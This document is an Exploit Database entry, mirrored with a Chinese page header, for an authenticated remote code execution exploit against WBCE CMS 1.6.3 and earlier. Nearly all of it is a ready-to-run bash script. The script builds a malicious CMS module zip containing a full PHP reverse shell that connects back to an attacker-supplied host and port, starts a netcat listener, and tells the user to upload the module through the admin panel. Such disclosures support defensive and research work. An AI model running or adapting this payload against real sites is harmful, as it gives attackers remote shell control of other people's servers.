WBCE CMS 1.6.3 – Authenticated Remote Code Execution (RCE)

• Exploit Database
• 6 阅读

• 作者： Swammers8
  日期： 2025-04-06
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52132/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200

  # Exploit Title: WBCE CMS <= v1.6.3 Authenticated Remote Code Execution (RCE) # Date: 3/22/2025 # Exploit Author: Swammers8 # Vendor Homepage: https://wbce-cms.org/ # Software Link: https://github.com/WBCE/WBCE_CMS # Version: 1.6.3 and prior # Tested on: Ubuntu 24.04.2 LTS # YouTube Demonstration: https://youtu.be/Dhg5gRe9Dzs?si=-WQoiWU1yqvYNz1e # Github: https://github.com/Swammers8/WBCE-v1.6.3-Authenticated-RCE   #!/bin/bash   # Make a zip file exploit # Start netcat listener   if [[ $# -ne 2 ]]; then echo "[*] Description:" echo "[*] This is an Authenticated RCE exploit for WBCE CMS version <= 1.6.3" echo "[*] It will create an infected module .zip file and start a netcat listener." echo "[*] Once the zip is created, you will have to login to the admin page" echo "[*] to upload and install the module, which will immediately run the shell" echo "[*] Shell taken from: https://github.com/pentestmonkey/php-reverse-shell/tree/master" echo "[!] Usage:" echo "[*] $0 <lhost> <lport>" exit 1 fi   if [ -z "$(which nc)" ]; then echo "[!] Netcat is not installed." exit 1 fi   ip=$1 port=$2   rm -rf shellModule.zip rm -rf shellModule mkdir shellModule   echo [*] Crafting Payload   cat <<EOF > shellModule/info.php <?php /** * * @categorymodules * @package Reverse Shell * @authorSwammers8 * @linkhttps://swammers8.github.io/ * @license http://www.gnu.org/licenses/gpl.html * @platformexample.com * @requirementsPHP 5.6 and higher * @version 1.3.3.7 * @lastmodifiedMay 22 2025 * * */   \$module_directory = &apos;modshell&apos;; \$module_name= &apos;Reverse Shell&apos;; \$module_function= &apos;page&apos;; \$module_version = &apos;1.3.3.7&apos;; \$module_platform= &apos;2.10.x&apos;;   \$module_author= &apos;Swammers8&apos;; \$module_license = &apos;GNU General Public License&apos;; \$module_description = &apos;This module is a backdoor&apos;;   ?> EOF   cat <<EOF > shellModule/install.php <?php set_time_limit (0); \$VERSION = "1.0"; \$ip = &apos;$ip&apos;;// CHANGE THIS \$port = $port; // CHANGE THIS \$chunk_size = 1400; \$write_a = null; \$error_a = null; \$shell = &apos;uname -a; w; id; /bin/sh -i&apos;; \$daemon = 0; \$debug = 0;   if (function_exists(&apos;pcntl_fork&apos;)) { \$pid = pcntl_fork(); if (\$pid == -1) { printit("ERROR: Can&apos;t fork"); exit(1); } if (\$pid) { exit(0);// Parent exits }   if (posix_setsid() == -1) { printit("Error: Can&apos;t setsid()"); exit(1); }   \$daemon = 1; } else { printit("WARNING: Failed to daemonise.This is quite common and not fatal."); }   chdir("/");   umask(0);     \$sock = fsockopen(\$ip, \$port, \$errno, \$errstr, 30); if (!\$sock) { printit("\$errstr (\$errno)"); exit(1); }   \$descriptorspec = array( 0 => array("pipe", "r"),// stdin is a pipe that the child will read from 1 => array("pipe", "w"),// stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );   \$process = proc_open(\$shell, \$descriptorspec, \$pipes);   if (!is_resource(\$process)) { printit("ERROR: Can&apos;t spawn shell"); exit(1); }   stream_set_blocking(\$pipes[0], 0); stream_set_blocking(\$pipes[1], 0); stream_set_blocking(\$pipes[2], 0); stream_set_blocking(\$sock, 0);   printit("Successfully opened reverse shell to \$ip:\$port");   while (1) { if (feof(\$sock)) { printit("ERROR: Shell connection terminated"); break; }   if (feof(\$pipes[1])) { printit("ERROR: Shell process terminated"); break; }   \$read_a = array(\$sock, \$pipes[1], \$pipes[2]); \$num_changed_sockets = stream_select(\$read_a, \$write_a, \$error_a, null);   if (in_array(\$sock, \$read_a)) { if (\$debug) printit("SOCK READ"); \$input = fread(\$sock, \$chunk_size); if (\$debug) printit("SOCK: \$input"); fwrite(\$pipes[0], \$input); }   if (in_array(\$pipes[1], \$read_a)) { if (\$debug) printit("STDOUT READ"); \$input = fread(\$pipes[1], \$chunk_size); if (\$debug) printit("STDOUT: \$input"); fwrite(\$sock, \$input); }   if (in_array(\$pipes[2], \$read_a)) { if (\$debug) printit("STDERR READ"); \$input = fread(\$pipes[2], \$chunk_size); if (\$debug) printit("STDERR: \$input"); fwrite(\$sock, \$input); } }   fclose(\$sock); fclose(\$pipes[0]); fclose(\$pipes[1]); fclose(\$pipes[2]); proc_close(\$process);   function printit (\$string) { if (!\$daemon) { print "\$string\n"; } }   ?> EOF   echo [*] Zipping to shellModule.zip zip -r shellModule.zip shellModule rm -rf shellModule echo [*] Please login to the WBCE admin panel to upload and install the module echo [*] Starting listener   nc -lvnp $port   echo echo echo "[*] Done!" echo "[*] Make sure to uninstall the module named &apos;Reverse Shell&apos; in the module page"